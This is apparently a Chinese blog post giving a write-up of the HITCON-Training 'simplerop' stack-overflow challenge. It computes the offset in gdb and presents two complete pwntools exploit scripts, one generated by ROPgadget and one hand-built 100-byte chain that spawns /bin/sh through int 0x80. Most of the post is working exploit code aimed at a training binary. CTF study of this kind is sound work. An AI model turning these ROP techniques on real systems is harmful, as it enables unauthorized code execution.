HITCON-Training-Writeup
2018/07/12

记录HITCON题目中遇到的问题

simplerop

检查保护

ios@ubuntu:~$ checksec simplerop
[*] '/home/ios/simplerop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启NX

载入ida分析

![1](C:\Users\TTTR\ios\source\_posts\HITCON-Training-Writeup\1.jpg)int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-14h]

  puts("ROP is easy is'nt it ?");
  printf("Your input :");
  fflush(stdout);
  return read(0, &v4, 100);
}

漏洞很明显存在于read函数 这里限制的读入v4的长度为100

因为此题目属于静态链接libc 理论上可以直接使用ROPgadget生成ropchain进而getshell

先来计算偏移

gdb在call read处下断

b* 0x8048E69

运行后查看当前esp ebp

1

计算当前v4的地址

gef➤  p/x 0xffffd040+0x1c
$1 = 0xffffd05c

计算v4距离ebp的偏移

gef➤  p/d 0xffffd078-0xffffd05c
$2 = 28

所以偏移就该为 28+4=32

那么正常情况下我们就用ROPgadget生成ropchain

ROPgadget --binary simplerop --ropchain

得到exp

from pwn import *
from struct import pack
sh = process('simplerop')
# Padding goes here
p = 'A'*32
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x080493e1) # int 0x80
print len(p)
sh.send(p)
sh.interactive()

运行你会发现没办法正常getshell 因为可以先print下我们当前payload的长度为168但是raed限制长度为100所以没办法正常写入 ,这时候我们就应该自己去优化这个payload或者自己重新写一个payload

思路

寄存器中有eax,ebx,ecx,edx等

Linux下的系统调用通过int 80h实现,用系统调用号来区分入口函数,其中寄存器eax存放调用号,剩下的几个参数存放参数

execve调用号为0xb 所以我们需要找到pop eax ret来将0xb存入eax

pop_edx_ret=0x0806e82a # pop edx ; ret
pop_eax_ret=0x080bae06 # pop eax ; ret
data_addr=0x080ea060 #  .data段
pop_edx_ecx_ebx_ret=0x0806e850 # pop edx ; pop ecx ; pop ebx ; ret
mov_ret=0x0809a15d # mov dword ptr [edx], eax ; ret
int_0x80_addr = 0x080493e1 # int 0x80
#因为32位寄存器只能存放0x4字节的数据而"/bin/sh"为7字节所以我们要想办法吧/bin/sh放入data段 然后寄存器放入data段地址

payload = 'A'*32+p32(pop_edx_ret)+p32(data_addr)+p32(pop_eax_ret)+"/bin"+p32(mov_ret)
#先溢出至ret +覆盖ret到edx+将data_addr赋值给edx+覆盖ret到eax+将/bin字符串赋值给eax+利用mov_ret将eax的值赋给edx的值既将/bin覆盖到data段的内容
payload += p32(pop_edx_ret)+p32(data_addr+4)+p32(pop_eax_ret)+"/sh\x00"+p32(mov_ret)
#再覆盖ret到edx+将data_addr+4的地址赋值给edx(因为前4字节被赋值为/bin所以要向下+4位地址继续写)+覆盖ret到eax+将/sh\x00写入eax+利用mov_ret将eax的值赋给edx既将/sh\x00覆盖到data+4地址的内容
payload += p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(data_addr)+p32(pop_eax_ret)+p32(0xb)+int_0x80_addr
#执行系统调用execve 覆盖ret到pop_edx_ecx_ebx_ret+将0赋值给edx+将0赋值给ecx+将data_addr赋值给ebx+将0xb调用号赋值给eax+int 0x80进行中断

EXP

from pwn import *
from struct import pack
sh = process('simplerop')
pop_edx_ret=0x0806e82a 
pop_eax_ret=0x080bae06 
data_addr=0x080ea060  #elf.bss()获取
pop_edx_ecx_ebx_ret=0x0806e850 
mov_ret=0x0809a15d 
int_0x80_addr = 0x080493e1 

payload = 'A'*32+p32(pop_edx_ret)+p32(data_addr)+p32(pop_eax_ret)+"/bin"+p32(mov_ret)

payload += p32(pop_edx_ret)+p32(data_addr+4)+p32(pop_eax_ret)+"/sh\x00"+p32(mov_ret)

payload += p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(data_addr)+p32(pop_eax_ret)+p32(0xb)+p32(int_0x80_addr)
print len(payload)
sh.recvuntil(":")
sh.send(payload)

sh.interactive()

尝试运行

2

可以看到当前payload长度恰好为100可以正常read读入

并且成功获得shell

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!